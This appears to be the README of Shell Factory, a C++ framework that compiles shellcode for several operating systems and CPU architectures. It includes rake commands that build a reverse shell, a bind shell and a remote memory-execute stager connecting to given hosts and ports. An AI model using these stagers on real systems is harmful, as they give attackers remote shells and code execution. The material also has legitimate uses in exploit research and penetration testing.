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Shell Factory

Shell Factory is a framework for compiling shellcodes from a C++ source for multiple systems and architectures.

It is composed of multiple parts:

  • a Rakefile for compiling and linking against different compilers and architectures.
  • the factory, a set of C++ headers to generate system calls for different systems and architectures.
  • picolib, a generic C++ library relying on the system call factory to abstract interactions the target system.

The shellcode is compiled as a single compilation unit with common optimizations to reduce its code size.

The resulting file is supposed to be a single binary blob executable from anywhere in memory, starting at offset 0.

Requirements

  • Rake

Linux

  • binutils
  • g++ or clang++

OS X

  • Xcode command-line tools

Basic usage

Put your shellcode source file in the shellcodes directory, then compile it with rake <shellcode>.

For example, create a template file named shellcodes/template.cc :

#include <factory.h>
#include <pico.h>

using namespace Pico;

SHELLCODE_ENTRY {
    Process::exit(0);
}

Then compile it with: rake template. On a Linux amd64 system, this will generate the files bins/template.elf and bins/template.x86_64-linux.bin.

$ objdump -d bins/template.elf

00000000004000b0 <_start>:
  4000b0:       31 ff                   xor    %edi,%edi
  4000b2:       b8 e7 00 00 00          mov    $0xe7,%eax
  4000b7:       0f 05                   syscall

Default shellcodes

Three generic stager shellcodes are provided in the shellcodes directory:

  • shellexec : runs a standard /bin/sh shell or any specified command.

  • memexec : allocates executable memory, receives data and executes it.

  • dropexec : reads data, drops an executable file on the system and executes it.

Channels

Channels are an abstraction layer that allows to use different kind of data streams configurable through compilation variables: files, sockets, opened file descriptors.

They are typically used by shellexec, memexec and dropexec to receive and send data. The default channels used are the standard input/output when none are specified.

Examples

Reverse shell on the local network

rake shellexec CHANNEL=TCP_CONNECT HOST=192.168.0.2 PORT=2222

Bind-shell TCPv6

rake shellexec CHANNEL=TCP6_LISTEN HOST=::1 PORT=1111

Reverse memory execute over SCTPv6

rake memexec CHANNEL=SCTP6_CONNECT HOST=fe80::800:27ff:fe00:0 PORT=3333

Advanced usage

Switching compilers

Using the CC variable to select your compiler.

rake shellexec CC=clang++

Cross-compilation

You will require a cross-compiler and the headers of the system you are targeting.

rake memexec CHANNEL=TCP_LISTEN HOST=0.0.0.0 PORT=1337 TRIPLE=aarch64-linux-gnu

Use the variable SYSROOT to specify the root of the target filesystem.

Debugging

The code is by default massively inlined which makes it particularly tedious to debug. If you encounter a problem, try decreasing the inline level through the RELAX_INLINE parameter.

Also, try specifying OUTPUT_DEBUG=1 which will generate an executable file with symbols.

Producing smaller code

Some parameters can be used to reduce the code size in some circumstances:

  • NO_ASSERTS=1 : removes any assert checks from the final shellcode

  • NO_ERROR_CHECKS=1 : removes error checks at system call returns

Do not use format functions (printf, sprintf, String::sprintf, and so on.) as they will increase your code size significantly.

Avoid using the C++ new operator as it will instanciate a custom heap which constitutes a relatively large piece of code.

Supported targets

x86 amd64 ARM Aarch64 PowerPC SH4 MIPS
Linux
FreeBSD
OS X

Items marked as ∼ are a work in progress and are not fully implemented yet.

Caveats

  • Passing system call arguments by stack if not yet fully supported.

  • No Windows support yet.

  • Resulting shellcodes will not enforce any specific charset and may contain null bytes. You will need to use a shellcode encoder for that purpose.

Authors

  • Guillaume Delugré

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C++-based shellcode builder

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